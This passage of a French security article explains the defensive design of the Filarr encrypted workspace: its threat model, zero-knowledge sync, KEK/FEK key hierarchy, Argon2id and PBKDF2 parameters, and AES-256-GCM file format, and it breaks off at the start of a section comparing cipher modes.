La sécurité de Filarr, couche par couche — l'architecture défensive exhaustive
Modèle de menace, cryptographie, durcissement Electron, comparaisons avec Signal / 1Password / Obsidian, real-world CVE walk-throughs. Le guide complet de tout ce qui protège vos données — y compris des serveurs qui les hébergent.
Mathis Belouar-Pruvot
Réponse rapide. Filarr protège vos données avec un chiffrement AES-256-GCM par fichier, une hiérarchie KEK/FEK dérivée de votre mot de passe via PBKDF2-SHA-512 (600 000 itérations) et Argon2id, une 2FA TOTP optionnelle, et une sync cloud zero-knowledge où le serveur ne voit que des blobs chiffrés opaques. Electron est durci (fuses, contextIsolation, sandbox, CSP strict). Audité indépendamment.
Mise à jour v2.3.1 (18 avril 2026) : cet article reflète l'état du code après l'audit sécurité complet livré en v2.2.1, les durcissements crypto de v2.2.2 (fuses Electron complets + HKDF sur le pairing), et l'upgrade Electron 41 de v2.3.0 qui corrige 18 CVEs accumulées dans la branche 39.
Filarr est un espace de travail chiffré local-first avec synchronisation cloud zero-knowledge. En pratique, cela signifie que vos données ne quittent jamais votre machine en clair, même quand elles sont synchronisées avec le cloud : les serveurs de Filarr ne voient que des blobs chiffrés opaques qu'ils ne peuvent pas déchiffrer, même s'ils y sont contraints par une réquisition judiciaire ou une compromission. Cette promesse n'est pas un slogan marketing — c'est la conséquence mathématique d'une architecture où les clés de chiffrement ne sortent jamais de votre appareil sans être elles-mêmes chiffrées par une clé éphémère que le serveur ne peut pas reconstruire.
L'article qui suit décrit chaque mécanisme de sécurité en place, avec les paramètres exacts, les fichiers exacts, les CVEs exactes corrigées, les comparaisons avec les autres outils du marché, et des références techniques (NIST, RFCs, OWASP, papiers académiques) pour chaque décision. Pas de « military-grade » vague, pas de flou artistique : si vous voulez auditer le code, chaque choix est documenté et traçable.
Si vous n'avez que dix minutes, la section résumé couvre l'essentiel. Sinon, installez-vous confortablement — la défense en profondeur, c'est long.
Table des matières
- Modèle de menace : qui on défie, avec quelles capacités
- Zero-knowledge : ce que ça signifie vraiment
- La hiérarchie des clés : Password → KEK → FEK
- Argon2id et PBKDF2 — pourquoi Filarr utilise les deux
- AES-256-GCM : choix, forces, pièges mortels
- Double authentification (2FA) : TOTP, codes de secours, ce que ça protège vraiment
- Pairing multi-appareils : ECDH et HKDF sous le capot
- Durcissement Electron — une app, trois isolations
- Content Security Policy — ce qu'elle bloque vraiment
- Sanitization XSS : DOMPurify et les pièges connus
- Anatomie d'une kill chain : XSS → RCE (avant/après v2.2.1)
- Supply chain : leçons d'event-stream, ua-parser-js, node-ipc
- Historique des CVEs corrigées
- Comparaison avec d'autres outils
- Feuille de route sécurité
- En résumé
- Références et lectures
1. Modèle de menace
Un modèle de menace n'est utile que s'il est honnête sur ses limites. Annoncer « Filarr est sûr contre tous les attaquants » est un mensonge par omission. La vraie question est : contre quels adversaires Filarr vous défend, avec quelles capacités, et à partir de quel seuil ces défenses cèdent. Cette section répond explicitement à ces trois questions.
1.1 Ce qu'on cherche à protéger
La surface à protéger se compose de quatre catégories. La première, évidente, est le contenu utilisateur : notes, fichiers, métadonnées associées — noms de dossiers, tags, structure hiérarchique, timestamps de modification. La deuxième est le groupe des clés de chiffrement : la FEK (File Encryption Key) qui chiffre tout le reste, la KEK (Key Encryption Key) dérivée de votre mot de passe, et les clés éphémères générées pendant le pairing multi-appareils. La troisième est l'intégrité du binaire Electron lui-même : on veut garantir qu'aucun attaquant ne peut faire exécuter du code arbitraire dans le processus Filarr, que ce soit par injection d'argument de ligne de commande, par patch du fichier app.asar sur disque, ou par compromission d'une dépendance npm. La quatrième enfin est la disponibilité : l'app ne doit pas être utilisable comme vecteur de déni de service (pas de rançongiciel via ZIP bomb importé, pas de crash reproductible via input adverse).
Ces quatre catégories ne sont pas traitées uniformément. Le contenu et les clés bénéficient d'une protection cryptographique forte — un attaquant qui lit les blobs chiffrés ne peut rien en faire. L'intégrité du binaire repose sur des mécanismes plus subtils (fuses Electron, validation ASAR, CSP) qu'on détaillera en section 8. La disponibilité est traitée comme un objectif de robustesse classique : caps de taille, limites de profondeur, validation stricte.
1.2 Les profils d'attaquant considérés
En s'inspirant de la classification STRIDE et du framework MITRE ATT&CK, on distingue sept profils d'adversaire, chacun avec ses capacités propres et les défenses qui lui sont spécifiques :
| Adversaire | Capacités | Tactique MITRE | Défense principale |
|---|---|---|---|
| Serveur Filarr compromis (RCE, insider, subpoena) | Lit tous les blobs, forge des réponses API | T1565 (Data Manipulation) | Chiffrement zero-knowledge client-side — impossibilité technique de déchiffrer |
| MitM réseau (café public, ISP hostile, état) | Intercepte trafic, forge des réponses TLS | T1557 (Adversary-in-the-Middle) | TLS 1.3 + HSTS + pinning implicite (endpoint fixe) + validation new URL() |
| Malware local user-level (trojan dans un .exe téléchargé) | Lit home directory, observe timing, injecte env vars | T1059 (Command and Scripting Interpreter), T1055 (Process Injection) | Fuses Electron (RunAsNode: false, EnableNodeOptionsEnvironmentVariable: false), comparaisons constant-time, IPC whitelist |
| XSS dans le renderer (note piégée, import Obsidian hostile) | Exécute JS dans l'app avec les privilèges du renderer | T1189 (Drive-by Compromise) | contextIsolation: true, sandbox: true, IPC allowlist stricte, DOMPurify avec FORBID_TAGS défensif |
| Supply chain npm (dépendance corrompue via take-over) | Injecte du code dans un package qu'on charge | T1195.002 (Compromise Software Supply Chain) | npm audit trimestriel, CSP restrictive, fuses, ASAR integrity validation |
| Accès physique hors ligne (vol de laptop) | Accès complet au disque sans session active | T1005 (Data from Local System) | FEK scellée dans le keychain OS (DPAPI/Keychain/libsecret), mode Enhanced Lock efface .fek_safe à la fermeture |
| Cloud provider (Cloudflare, R2) | Lit tous les objets du bucket | T1530 (Data from Cloud Storage) | Objects chiffrés côté client — la FEK n'existe jamais sur R2, même temporairement |
Chaque ligne correspond à une surface d'attaque distincte avec sa propre chaîne de mitigations. On peut se défendre contre un serveur compromis (chiffrement client-side) mais pas contre un root local (qui peut dumper la RAM) ; on peut bloquer un XSS dans le renderer (contextIsolation + sandbox) mais pas empêcher un utilisateur de choisir password123 comme mot de passe. La défense en profondeur consiste à couvrir chaque ligne par des couches indépendantes, pour qu'une seule rupture ne compromette pas tout.
1.3 Ce qu'on ne prétend pas protéger
Par honnêteté intellectuelle, plusieurs classes d'attaques sont explicitement hors périmètre. Les annoncer clairement évite les malentendus : Filarr n'est pas conçu pour ces cas d'usage, et un utilisateur qui y est exposé doit utiliser d'autres outils.
D'abord, un attaquant avec les privilèges root, admin ou SYSTEM sur votre machine peut contourner toutes les défenses logicielles. Il peut dumper la mémoire du processus Filarr (et y lire la FEK en clair pendant qu'elle est en RAM), patcher directement le binaire pour désactiver les vérifications, installer un keylogger qui capture votre mot de passe avant même que vous l'entriez dans l'app. Aucun logiciel utilisateur ne résiste à un attaquant qui a les mêmes privilèges que le système d'exploitation : c'est au niveau de l'OS qu'il faut se défendre, via Windows Defender sur Windows, SELinux/AppArmor sur Linux, XProtect et Gatekeeper sur macOS. Filarr ne prétend pas remplacer ces couches.
Ensuite, un mot de passe trivial rend toute cryptographie inutile. Si votre mot de passe est azerty123 ou password2024, aucune dérivation de clé à 600 000 itérations ne vous sauvera d'un bruteforce GPU ciblé. Avec 8 GPU RTX 4090 modernes, SHA-512 tourne à environ 20 gigahashes par seconde (benchmarks Hashcat 2024), ce qui permet de tester un dictionnaire de 10^10 mots communs en quelques heures. La PBKDF2 multiplie ce temps par 600 000, ce qui ramène l'attaque à quelques semaines plutôt que quelques secondes — ce qui reste à portée d'un adversaire motivé avec un mot de passe faible. Vous êtes le maillon le plus faible, pas la crypto.
Troisièmement, Filarr n'est pas conçu pour résister à un état-nation avec accès au firmware. Si votre adversaire est capable d'installer un implant au niveau du BIOS, du Management Engine Intel, ou du firmware du disque dur, vous êtes perdu quelle que soit la qualité du chiffrement applicatif. Pour ce modèle de menace — journalistes sous dictature autoritaire, dissidents politiques, lanceurs d'alerte — les outils appropriés sont Qubes OS pour l'isolation par compartimentation, Tails pour l'usage éphémère sans trace, et Signal pour la communication. Filarr est un outil de productivité pour le grand public soucieux de vie privée, pas un outil de contournement d'appareil d'état.
Enfin, et c'est probablement le point le plus important pour un utilisateur lambda : si vous oubliez votre mot de passe ET votre phrase de récupération, vos données sont perdues définitivement. C'est la contrepartie inévitable du zero-knowledge. Il n'y a pas de « mot de passe administrateur » caché qu'une équipe support pourrait utiliser pour vous dépanner, parce que s'il existait, il existerait aussi pour quiconque compromet Filarr. Cette asymétrie est le prix à payer pour que personne — pas même nous — ne puisse lire vos données sans votre accord explicite.
2. Zero-knowledge
Le terme « zero-knowledge » est devenu un buzzword marketing dilué au point de perdre son sens. Dans la cryptographie formelle, une zero-knowledge proof désigne un protocole très précis où un prouveur convainc un vérifieur de la véracité d'un fait sans rien révéler d'autre. Les protocoles zk-SNARK utilisés par Zcash ou les rollups Ethereum en sont des exemples. Filarr n'implémente rien de tel — ce serait un abus de langage de prétendre le contraire.
Ce que Filarr implémente, c'est le modèle qu'on appelle plus précisément zero-knowledge storage ou end-to-end encryption at rest, au sens où Bitwarden, ProtonDrive, Tresorit ou 1Password l'utilisent : le serveur reçoit des données, les stocke, les retransmet, mais ne dispose d'aucun moyen de les déchiffrer. Cette propriété est assurée non pas par une preuve cryptographique sophistiquée, mais par une invariant architectural strict : les clés de chiffrement ne transitent jamais par le serveur en clair.
Pour matérialiser cette promesse, imaginons qu'un serveur Filarr reçoive une note utilisateur contenant le texte « Je suis David ». Ce que le serveur voit littéralement, c'est une séquence d'octets de la forme :
[4 octets marqueur FEK]
[12 octets nonce aléatoire]
2f 8a c3 d1 7e ... (ciphertext ~98 octets)
[16 octets tag d'authentification]
Cette séquence est indistinguable d'une séquence aléatoire de même taille pour quiconque ne possède pas la FEK. C'est une propriété formelle appelée IND-CCA2 (indistinguishability under adaptive chosen-ciphertext attack), démontrée pour AES-GCM par Bellare et Namprempre en 2008. Autrement dit, même si un attaquant peut soumettre des ciphertexts arbitraires au serveur et obtenir des réponses, il ne peut pas déduire de l'observation des blobs la moindre information sur leur contenu — ni la taille exacte (modulo le padding), ni la langue, ni la présence de motifs répétés. Le ciphertext est aussi informatif qu'un flux de données aléatoires.
Pour que cette propriété tienne, l'architecture impose une ligne rouge absolue : le serveur ne doit jamais toucher la FEK en clair, à aucun moment, sous aucune forme. Cette ligne se matérialise en plusieurs interdictions pratiques. Il existe bien une copie de votre clé maître stockée côté serveur — elle est nécessaire pour permettre la connexion depuis un nouvel appareil sans devoir le pairer manuellement avec un device déjà déverrouillé — mais cette copie est chiffrée par une clé dérivée de votre mot de passe via PBKDF2-SHA-512, 600 000 itérations, et le serveur ne voit jamais votre mot de passe. Sans lui, la copie chiffrée est un blob inerte : elle ne permet donc pas à Filarr de déchiffrer vos fichiers, ni de récupérer votre compte si vous perdez votre mot de passe. C'est exactement le même modèle que le ProtectedSymmetricKey de Bitwarden et les clés privées chiffrées de ProtonMail : la copie côté serveur existe pour activer le multi-appareils, pas pour contourner la crypto. Il n'existe pas de « master key administrateur » qui déchiffrerait tous les comptes en cas de besoin, parce qu'une telle clé serait immédiatement une cible de choix pour un attaquant compromettant le serveur. Aucune dérivation de clé n'est effectuée côté serveur, même intermédiaire : toute la chaîne cryptographique du mot de passe à la FEK se déroule dans le navigateur ou le main process Electron. Et enfin, quand la FEK doit transiter vers un nouvel appareil via pairing direct (les deux appareils ensemble, sans passer par le mot de passe), la FEK est chiffrée par une clé éphémère dérivée via ECDH entre les deux appareils, dont le serveur n'a jamais vu les parties privées — il ne voit transiter qu'un blob déjà chiffré qu'il ne peut pas ouvrir (voir §7).
Cette discipline architecturale est la même que celle de Signal, 1Password, Bitwarden, ProtonMail, et Tresorit. Elle ne fonctionne qu'à une condition nécessaire : le code client doit être honnête. Si le client envoyait secrètement la FEK au serveur dans un header HTTP custom, toute la construction s'effondrerait. C'est précisément pour cela que la transparence du code source compte, et c'est pour cela que l'approche « trust but verify » — le code est public, les mécanismes sont documentés, l'audit externe est planifié — est l'ossature de la confiance plutôt que n'importe quel discours marketing.
3. La hiérarchie des clés
Au cœur de Filarr se trouve une architecture cryptographique à deux niveaux classique mais rigoureusement appliquée : une clé maîtresse aléatoire qui chiffre toutes les données utilisateur, et une clé dérivée du mot de passe qui chiffre la clé maîtresse. Cette séparation n'est pas un détail — c'est ce qui permet plusieurs fonctionnalités critiques qu'on va détailler, et c'est le pattern standard adopté par tous les outils de chiffrement modernes sérieux.
3.1 La FEK, clé racine qui chiffre tout le contenu
La File Encryption Key, abrégée FEK, est une clé symétrique de 256 bits générée localement la première fois que vous créez un profil. Elle est produite par un appel à crypto.getRandomValues(), qui garantit une source de CSPRNG (cryptographically secure pseudo-random number generator) de qualité au niveau système d'exploitation : sur Windows, c'est CryptGenRandom alimenté par RtlGenRandom et les sources d'entropie matérielle modernes ; sur Linux, c'est /dev/urandom alimenté par l'entropie kernel cumulée depuis le démarrage ; sur macOS récent, c'est CCRandomGenerateBytes basé sur le générateur Fortuna de l'OS. La qualité de cette source est fondamentale — une FEK prévisible compromettrait tout — et c'est pourquoi on ne la génère jamais via Math.random() ou d'autres fonctions qui ne sont pas explicitement cryptographiques.
Cette seule clé de 256 bits est utilisée pour chiffrer absolument tout le contenu utilisateur : chaque fichier individuellement (avec un nonce unique par fichier pour éviter toute collision), chaque note prise dans l'éditeur, toutes les métadonnées associées — noms de dossiers, structure hiérarchique des carnets, tags associés aux notes, dates de création et de modification — et enfin le manifest de synchronisation cloud, ce fichier spécial qui liste tous les blobs présents sur R2 avec leurs identifiants et versions. Ce manifest est lui-même chiffré pour ne pas révéler au serveur la structure de votre vault (même si on ne voit pas le contenu des fichiers, savoir que vous avez précisément 47 notes avec tel graphe de liens serait déjà une fuite d'information).
La règle inviolable qui entoure la FEK est qu'elle ne doit jamais quitter l'appareil en clair. Pas dans un fichier de log d'erreur, pas dans le payload d'une requête API quelconque, pas dans un backup automatique vers un service tiers, pas dans un message d'exception affiché à l'utilisateur. La FEK peut en revanche quitter un appareil dans deux circonstances, chaque fois sous forme chiffrée. Pendant la synchronisation cloud, elle part wrappée par votre KEK (elle-même dérivée de votre mot de passe) — le serveur ne voit jamais votre mot de passe et ne peut donc pas l'unwrappér, comme détaillé en §2. Pendant le pairing multi-appareils direct, elle est chiffrée par une clé éphémère dérivée via Diffie-Hellman entre les deux appareils impliqués — clé que ni le serveur Filarr ni aucun tiers ne peut reconstruire. Le détail de ce protocole est en section 7.
3.2 Pourquoi pas chiffrer directement avec le mot de passe ?
Un lecteur attentif pourrait se demander pourquoi ne pas simplement dériver une clé du mot de passe et chiffrer directement les fichiers avec. La réponse tient en un mot : UX du changement de mot de passe. Si on chiffrait les fichiers avec une clé dérivée directement du mot de passe, changer de mot de passe impliquerait de re-chiffrer tous les fichiers avec la nouvelle clé. Pour un vault de 50 Go contenant 10 000 fichiers, cette opération prendrait des heures, saturerait le disque, et serait interrompue à la moindre coupure — un cauchemar fonctionnel qui dissuaderait tout utilisateur de jamais changer son mot de passe.
Le pattern standard, utilisé par 1Password, Bitwarden, Keeper, LastPass, Signal et tous les outils sérieux, consiste donc à séparer deux clés à rôles distincts. La KEK (Key Encryption Key) est dérivée du mot de passe via une fonction de dérivation de clé coûteuse ; elle change chaque fois que le mot de passe change. La FEK est aléatoire, générée une fois pour toutes à la création du profil, et chiffrée (« wrappée ») par la KEK dans un fichier wrapped_fek.json stocké localement — et, pour les comptes cloud, dupliqué côté serveur sous cette même forme chiffrée pour permettre de se reconnecter depuis un nouvel appareil sans passer par un pairing direct. Changer le mot de passe consiste alors simplement à dériver une nouvelle KEK, rewrapper la FEK avec, écrire le nouveau wrapped_fek.json localement puis le pousser vers le serveur — une opération qui prend quelques millisecondes et ne touche à aucun fichier chiffré.
Ce design offre un bonus inattendu mais essentiel : il permet d'avoir plusieurs KEKs qui protègent la même FEK. C'est exactement ce que Filarr fait pour la clé de secours : quand vous exportez votre clé de secours, on dérive une KEK alternative à partir d'un mot de passe que vous choisissez spécifiquement pour cet export (distinct du mot de passe vault principal), on wrappe la même FEK avec cette KEK alternative, et on stocke le résultat dans un fichier JSON que vous archivez hors-ligne. Si vous perdez votre mot de passe vault, vous pouvez restaurer l'accès à toutes vos données via ce fichier de secours — à condition bien sûr de ne pas avoir aussi perdu le mot de passe d'export. On y revient.
3.3 Persistance de la FEK déverrouillée via le keychain OS
Une fois que vous avez entré votre mot de passe au lancement, la KEK est dérivée, la FEK est déwrappée, et la FEK est en mémoire vive. Réexiger le mot de passe à chaque lancement serait insupportable en pratique — aucun utilisateur n'accepte ça de façon durable. La solution standard, largement adoptée par les apps desktop modernes, est de persister la FEK déverrouillée dans le keychain du système d'exploitation, qui chiffre alors la FEK avec une clé dérivée de votre session utilisateur active.
Sur Windows 10 et supérieur, on utilise l'API DPAPI (Data Protection API) exposée par Electron sous la forme de safeStorage.encryptString(). DPAPI chiffre les données avec une clé dérivée d'un mélange du hash de votre session Windows, d'une entropie spécifique à la machine (non exportable), et d'une entropie spécifique à l'utilisateur. Résultat : le fichier chiffré est illisible depuis un autre compte utilisateur sur la même machine, illisible si copié sur une autre machine, et illisible si votre session Windows est fermée.
Sur macOS, la même API Electron se branche sur les Keychain Services. Le trousseau système est lui-même déverrouillé par votre mot de passe de session ou par Touch ID ; sa clé maîtresse est scellée dans la Secure Enclave sur les Mac récents, ce qui le rend résistant même à un attaquant avec accès physique à la machine.
Sur Linux, l'abstraction passe par libsecret, qui peut s'appuyer selon l'environnement de bureau sur gnome-keyring ou kwallet. La clé est dérivée au login, et le daemon la conserve en RAM jusqu'à la déconnexion. Sur les distributions minimales sans daemon de keychain, l'API peut retourner « encryption not available ».
Le fichier résultant, nommé .fek_safe et stocké dans le dossier de profil Filarr, est ainsi illisible même par vous-même en dehors d'une session active. En prime, on lui applique les permissions Unix 0o600 (lecture-écriture pour le propriétaire uniquement) sur toutes les plateformes, ce qui bloque également l'accès par les autres processus non-privilégiés tournant sous le même utilisateur.
Un changement important de comportement a été introduit en v2.2.1 concernant le cas où le keychain est indisponible : auparavant, hybrid:storeFEK retournait silencieusement false sans persister la FEK. Cette conception laissait la porte ouverte à ce qu'un développeur futur, voulant « simplifier la vie des utilisateurs Linux sans keychain », ajoute par inadvertance un fallback en clair. Désormais, l'appel lève une erreur explicite qui remonte à l'utilisateur : « OS keychain unavailable, vault password required at each launch ». C'est moins agréable en UX, mais c'est le bon choix — aucun fallback implicite qui pourrait un jour se dégrader en « on écrit la FEK en clair pour que ça marche quand même ». Le principe sous-jacent est le fail-closed plutôt que fail-open : en cas de doute, on refuse, on ne bricole pas.
3.4 Enhanced Lock et verrouillage automatique
Pour les utilisateurs dont le modèle de menace est plus exigeant, Filarr propose deux mécanismes complémentaires qui réduisent la fenêtre où la FEK est accessible en mémoire.
Le mode Enhanced Lock, une fois activé, supprime le fichier .fek_safe à chaque fermeture de l'application. Concrètement, la FEK ne persiste plus entre les sessions : chaque lancement exige de retaper le mot de passe vault. C'est le mode à privilégier si vous partagez physiquement votre machine avec d'autres personnes, si vous voyagez avec un laptop qui pourrait être saisi à une douane, ou simplement si vous préférez accepter le coût UX d'un mot de passe à chaque lancement en échange d'une surface d'attaque réduite.
Le verrouillage automatique, configurable à 5, 15, 30 ou 60 minutes d'inactivité, agit pendant les sessions. Après le délai choisi sans interaction utilisateur, Filarr écrase la FEK en mémoire du renderer (remplissage de la Uint8Array à zéro, suppression des références), affiche l'écran de verrouillage, et exige la saisie du PIN (ou du mot de passe complet selon la config). Un attaquant qui accéderait à votre machine pendant votre pause café ne trouverait plus la FEK dans la mémoire du processus Electron — ou du moins plus dans les références JavaScript gérées par le garbage collector.
Sur ce dernier point, honnêteté intellectuelle obligatoire : en JavaScript, « effacer la mémoire » n'a pas la garantie stricte qu'on obtient en Rust ou en C avec des fonctions comme memset_s. Le moteur V8 peut avoir déjà copié la FEK lors de ses optimisations internes (inlining, promotions d'objets jeunes vers l'ancien espace), et le garbage collector ne passe pas immédiatement zéroter ces copies. Pour un adversaire de niveau forensique capable de dumper la RAM en temps réel avec un outil comme Volatility ou directement via une DMA attack sur Thunderbolt, il reste une fenêtre où des fragments de FEK peuvent être récupérés. C'est une limite intrinsèque au runtime JavaScript, pas un choix d'implémentation. Pour un adversaire au niveau d'un malware user-level classique ou d'un collègue curieux qui s'assoit à votre clavier, la protection est effective.
4. Argon2id et PBKDF2
Toute la sécurité du chiffrement au repos dépend, en dernière analyse, de la qualité de la fonction de dérivation de clé (KDF) qui transforme votre mot de passe en clé cryptographique. Un mot de passe de 10 caractères n'a qu'environ 40 à 50 bits d'entropie dans le meilleur des cas — largement insuffisant pour résister à un bruteforce direct. Le rôle de la KDF est de ralentir chaque tentative de dérivation au point de rendre le bruteforce économiquement prohibitif pour un attaquant, tout en gardant une latence acceptable pour l'utilisateur légitime qui ne dérive qu'une seule clé à chaque lancement.
Filarr utilise deux KDFs différentes selon le contexte d'exécution, et c'est une décision consciente qu'il faut expliquer parce qu'elle peut surprendre.
4.1 Pourquoi deux KDFs ?
Côté main process Node.js, où toutes les bibliothèques natives sont disponibles, on utilise Argon2id via le package node-argon2. C'est la KDF de choix en 2026, gagnante de la Password Hashing Competition en 2015 et standardisée par RFC 9106 en 2021.
Côté renderer (navigateur Chromium embarqué), on n'a pas accès à Argon2. La raison est désagréable mais bien réelle : la Web Crypto API exposée par les navigateurs ne supporte toujours pas Argon2 en 2026, malgré un débat ouvert au W3C depuis 2019. Les propositions successives d'ajout (CryptoKey.derivedKey avec "Argon2" comme nom d'algo) n'ont jamais abouti, principalement parce que les implémentations natives de navigateur étaient jugées trop coûteuses à maintenir uniformément. On est donc obligé de tomber sur PBKDF2-SHA-512 comme alternative moderne acceptable.
Cette hybridation n'est pas idéale — on préférerait utiliser Argon2id partout — mais elle reflète la contrainte réelle de la plateforme. L'alternative serait de compiler une implémentation WASM d'Argon2 et de la charger dans le renderer, mais cela introduirait un overhead de chargement (~100-200 Ko de WASM), une dépendance tierce à maintenir, et des complications de validation de l'intégrité du binaire WASM. On a jugé que la solution hybride était un meilleur compromis, au moins jusqu'à ce que la Web Crypto API standardise Argon2.
4.2 Les paramètres d'Argon2id et pourquoi ces valeurs
Quand on utilise Argon2id dans le main process, la configuration est la suivante :
const ARGON2_OPTIONS = {
type: argon2.argon2id,
memoryCost: 65536, // 64 MB RAM par hash
timeCost: 3, // 3 passes
parallelism: 4, // 4 threads
hashLength: 32, // sortie 256 bits
};
Ces valeurs correspondent exactement à la recommandation 2024 de l'OWASP Password Storage Cheat Sheet pour Argon2id. Elles sont le résultat d'un calibrage qui équilibre trois objectifs : être assez coûteux pour décourager un attaquant, être assez rapide pour ne pas frustrer l'utilisateur, et être assez économe en RAM pour tourner sur des machines d'entrée de gamme.
Pourquoi la variante Argon2id plutôt qu'Argon2d ou Argon2i ? Les trois variantes définies par la norme ne diffèrent que par leur comportement face aux attaques side-channel et GPU. Argon2d est le plus résistant aux GPU mais vulnérable aux attaques par canal auxiliaire : son pattern d'accès mémoire dépend des données secrètes, ce qui permet à un attaquant qui observe la hiérarchie cache (par exemple via Flush+Reload sur un serveur partagé) de déduire des bits du mot de passe. Argon2i est conçu pour être résistant aux side-channel (accès mémoire indépendants des données) mais perd en résistance GPU. Argon2id est la variante hybride qui utilise Argon2i pendant la première passe (quand le mot de passe est traité et où les side-channels sont les plus dangereuses) et Argon2d pendant les passes suivantes (quand les données sont déjà mélangées et où la résistance GPU prime). C'est la recommandation par défaut depuis RFC 9106 pour tout usage général.
Le choix de 64 Mo de mémoire par hash est le cœur de la défense anti-GPU. Un GPU moderne comme une RTX 4090 a environ 16 000 cœurs de calcul et 24 Go de VRAM. Il peut paralléliser efficacement des opérations SHA-256 où chaque thread n'a besoin que de quelques kilo-octets. Mais Argon2id avec 64 Mo par hash signifie qu'on ne peut avoir que 24/0.064 ≈ 375 hashs en parallèle par GPU, contre des millions pour SHA-256 seul. La parallélisation s'effondre, et le coût par hash explose. C'est ce qu'on appelle une fonction memory-hard : elle est conçue pour rendre l'attaque parallèle économiquement prohibitive plutôt que juste lente.
4.3 Les paramètres de PBKDF2-SHA-512
Quand Argon2 n'est pas disponible (côté renderer), on utilise PBKDF2 avec la configuration suivante :
{
name: 'PBKDF2',
salt, // 16 octets aléatoires par utilisateur
iterations: 600000,
hash: 'SHA-512',
}
600 000 itérations avec SHA-512 représentent deux fois la recommandation OWASP 2024 (qui est de 300 000 pour SHA-512). Pourquoi doubler ? Simplement parce que le coût est invisible pour l'utilisateur (environ 500 ms sur un laptop moyen) et que la marge sur les recommandations donne un peu d'air face aux progrès GPU des prochaines années.
Le choix de SHA-512 plutôt que SHA-256 mérite une explication. Les deux variantes de SHA ont des propriétés cryptographiques équivalentes, mais SHA-512 traite des blocs de 1024 bits à chaque itération (contre 512 pour SHA-256). Sur un CPU 64 bits moderne, SHA-512 est en fait plus rapide par octet traité qu'SHA-256, parce qu'il opère nativement sur des registres 64 bits. Mais sur un GPU, cet avantage s'inverse partiellement : les GPU sont optimisés pour les opérations 32 bits, et SHA-512 les oblige à simuler les opérations 64 bits, ce qui introduit un overhead. Le résultat mesuré empiriquement (Blackhat 2015) est que le ratio de gain GPU sur SHA-512 est d'environ 2×, contre 10× pour SHA-256. Autrement dit, chaque itération PBKDF2-SHA-512 est approximativement 5× plus résistante à l'attaque GPU que PBKDF2-SHA-256 à nombre d'itérations égal. Ce n'est pas énorme, mais c'est gratuit.
Un choix connexe qu'on nous a parfois questionné est pourquoi pas 1 million ou 2 millions d'itérations plutôt que 600 000. La réponse est une question d'UX : sur un laptop i5 de 2018 un peu fatigué, 600 000 itérations prennent environ 500 ms. Au-delà, l'utilisateur perçoit visiblement une attente à chaque déverrouillage, et la friction accumulée dissuade d'utiliser régulièrement l'app. Le vrai gain de sécurité vient d'Argon2id (memory-hard) plutôt que de pousser PBKDF2 à des chiffres astronomiques qui ne font que linéariser un problème que les GPU linéarisent également.
4.4 Le sel, toujours unique, toujours aléatoire
Dernier élément de la dérivation : le sel. Filarr utilise un sel de 16 octets (128 bits) généré aléatoirement par crypto.getRandomValues() pour chaque utilisateur, stocké à côté du hash. Jamais dérivé du nom d'utilisateur, jamais constant entre utilisateurs, jamais dérivé de l'email. Deux raisons classiques justifient cette discipline.
La première est que le sel aléatoire rend inutiles les rainbow tables — ces énormes précalculs d'attaquants qui mappent les mots de passe courants vers leurs hashs. Avec un sel différent par utilisateur, une rainbow table valable pour l'utilisateur Alice n'est pas réutilisable pour l'utilisateur Bob, même si les deux ont choisi le même mot de passe.
La deuxième est l'anti-réplication entre utilisateurs : si Alice et Bob choisissent tous les deux le mot de passe hunter2 (encore un), leurs hashs dérivés seront totalement différents grâce au sel aléatoire. Un attaquant qui compromet une base de données ne peut pas détecter cette collision — qui serait une information très précieuse, car elle lui permettrait de déduire que si un des deux mots de passe est craqué, l'autre l'est aussi.
4.5 Comparaison avec d'autres outils
Pour situer Filarr dans l'écosystème, voici les choix de KDF de quelques outils connus :
| Outil | KDF | Paramètres | Commentaire |
|---|---|---|---|
| Filarr (v2.3) | PBKDF2-SHA-512 (renderer) + Argon2id (main) | 600k iter / m=64MB t=3 p=4 | Web Crypto n'a pas Argon2 — mix obligé |
| Bitwarden | PBKDF2-SHA-256 | 600k iter (défaut 2023) | Migration vers Argon2id en cours |
| 1Password | PBKDF2-SHA-256 + Secret Key | 650k iter | Le Secret Key (256 bits stocké séparément) double la sécurité |
| Signal | HKDF-SHA-256 (pas un KDF password à proprement parler) | N/A | Signal n'a pas de password utilisateur — tout est dérivé du PIN + Secure Value Recovery |
| KeePassXC | Argon2id (ou AES-KDF legacy) | Configurable | État de l'art desktop |
| LastPass | PBKDF2-SHA-256 | 100k iter (scandaleux en 2024 — voir incident 2022) | À fuir |
Filarr se situe dans le haut du tableau grâce à l'usage d'Argon2id côté main process et au doublement des itérations PBKDF2 côté renderer. Le seul outil qui a une défense fondamentalement plus solide est 1Password, grâce à leur Secret Key — une clé 256 bits stockée hors-serveur par l'utilisateur (sur un QR code imprimé, par exemple) qui se combine au mot de passe pour dériver la KEK finale. On a considéré ce modèle pour Filarr mais l'UX dégradée (il faut manipuler un fichier en plus du mot de passe à chaque nouveau device) a été jugée incompatible avec la cible grand public de l'outil.
5. AES-256-GCM
Chaque fichier et chaque note dans Filarr est chiffré individuellement — pas de chaînage entre fichiers — avec AES-256 en mode GCM (Galois/Counter Mode), normalisé par NIST SP 800-38D en 2007. Ce choix ne fait pas débat dans la communauté cryptographique moderne, mais il mérite qu'on explique pourquoi c'est lui plutôt qu'un autre mode et quels sont les pièges à éviter quand on l'utilise.
5.1 Structure exacte du ciphertext
Sur disque, un fichier chiffré a la structure suivante :
[4 octets marqueur FEK = 0x46 0x45 0x4B 0x01] # identifie le format v1
[12 octets nonce aléatoire] # unique par chiffrement
[ciphertext de longueur variable]
[16 octets tag d'authentification GCM]
Le marqueur de 4 octets est un champ de format qui permet à Filarr de gérer la rétrocompatibilité avec les profils migrés depuis la v1.x (où le chiffrement utilisait une clé locale plutôt que la FEK). Le déchiffrement lit les 4 premiers octets, reconnaît le format, et route vers le bon chemin de code. C'est du versioning cryptographique défensif — le jour où on migrera vers un autre algorithme (par exemple en ajoutant Kyber post-quantique), ce même mécanisme permettra de gérer les formats mixtes pendant la transition.
Les 12 octets de nonce sont publics et stockés en clair à côté du ciphertext. C'est normal et sûr en GCM, comme on le détaillera plus bas. Le ciphertext proprement dit fait exactement la taille du plaintext (GCM est un mode « streaming » sans padding), et les 16 derniers octets sont le tag d'authentification qui permettra au déchiffrement de détecter toute modification.
5.2 Pourquoi GCM plutôt que CBC, CTR ou ChaCha20 ?
Le paysage des modes de chiffrement symétrique est plus nuancé qu'il n'y paraît. Voici les principaux candidats et leurs trade-offs :
